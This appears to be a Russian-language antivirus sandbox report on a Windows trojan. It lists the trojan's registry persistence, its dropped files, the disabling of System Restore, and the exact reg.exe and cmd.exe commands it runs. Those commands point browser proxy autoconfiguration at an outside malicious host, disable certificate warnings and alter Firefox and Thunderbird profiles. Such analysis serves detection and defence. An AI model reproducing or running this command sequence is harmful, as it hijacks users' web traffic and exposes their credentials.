Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Ferramenta do Office' = '%TEMP%\ctfmon.exe'
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\ControlSet001\Services\zmcsig] 'ImagePath' = 'system32\drivers\bnin.sys'
- [HKLM\SYSTEM\ControlSet001\Services\zmcsig] 'Start' = '00000000'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Компонент восстановления системы (SR)
Запускает на исполнение
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' "http://redtube.soccer-total.com/c.php?a=user&b=cdagekkwh&c=&d="
Изменяет следующие настройки браузера Windows Internet Explorer
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\bnin.sys
- %TEMP%\swreg.exe
- %TEMP%\ttkugnth.txt
- %TEMP%\ctfmon.exe
- %TEMP%\~bb81.bat
- %TEMP%\thumbs.db
- %WINDIR%\syswow64\drivers\bnin.sys
- %WINDIR%\syswow64\ttkugnth.txt
- %TEMP%\rege510.tmp
- %WINDIR%\restoremode.reg
- %TEMP%\reg6fd2.tmp
- %TEMP%\~r.tmp
- %TEMP%\~i.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\~bb81.bat
Удаляет следующие файлы
- %TEMP%\rege510.tmp
- %TEMP%\reg6fd2.tmp
- %TEMP%\~bb81.bat
Изменяет следующие файлы
- %APPDATA%\mozilla\firefox\profiles\apc2n9d1.default-release\prefs.js
- %APPDATA%\thunderbird\profiles\rehh7ft5.default-release\prefs.js
Изменяет файл HOSTS.
Сетевая активность
UDP
- DNS ASK re#####.soccer-total.com
Другое
Изменяет значение AutoConfigURL на 'http://analytics.csharp-access.com/static082010.www.alexa.com.txt'
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: 'Static' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\ctfmon.exe'
- '%TEMP%\swreg.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~BB81.bat "%TEMP%\ctfmon.exe" (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\cmd.exe' /c dir "\Users\user\.." /b /s | find "prefs.js"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" dir "\Users\user\.." /b /s "
- '%WINDIR%\syswow64\find.exe' "prefs.js"
- '%WINDIR%\syswow64\attrib.exe' -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\apc2n9d1.default-release\prefs.js"
- '%WINDIR%\syswow64\attrib.exe' -r -a -s -h "%APPDATA%\Thunderbird\Profiles\rehh7ft5.default-release\prefs.js"
- '%WINDIR%\syswow64\reg.exe' export HKU %TEMP%\~r.tmp
- '%WINDIR%\syswow64\cmd.exe' \S \D \c" type %TEMP%\~r.tmp "
- '%WINDIR%\syswow64\find.exe' "Internet Explorer\Main"
- '%WINDIR%\syswow64\cmd.exe' \c type %TEMP%\~i.tmp | <SYSTEM32>\find.exe "S-1-5-21"
- '%WINDIR%\syswow64\cmd.exe' \S \D \c" type %TEMP%\~i.tmp "
- '%WINDIR%\syswow64\find.exe' "S-1-5-21"
- '%WINDIR%\syswow64\reg.exe' add "HKU\S-1-5-21-3691498038-2086406363-2140527554-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
- '%WINDIR%\syswow64\reg.exe' add "HKU\S-1-5-21-3691498038-2086406363-2140527554-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKU\S-1-5-21-3691498038-2086406363-2140527554-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo s"
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\ttkugnth.txt /P Todos:R
- '%WINDIR%\syswow64\reg.exe' export HKLM\SYSTEM\ControlSet001\Control\ServiceGroupOrder %WINDIR%\restoremode.reg
- '%WINDIR%\syswow64\cmd.exe' /c reg query HKLM\SYSTEM\ControlSet001\Control\ServiceGroupOrder /v List
- '%WINDIR%\syswow64\reg.exe' query HKLM\SYSTEM\ControlSet001\Control\ServiceGroupOrder /v List
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y"
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "Ferramenta do Office" /t REG_SZ /d "%TEMP%\ctfmon.exe"
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://analytics.csharp-access.com/static082010.www.alexa.com.txt" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://analytics.csharp-access.com/static082010.www.alexa.com.txt" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
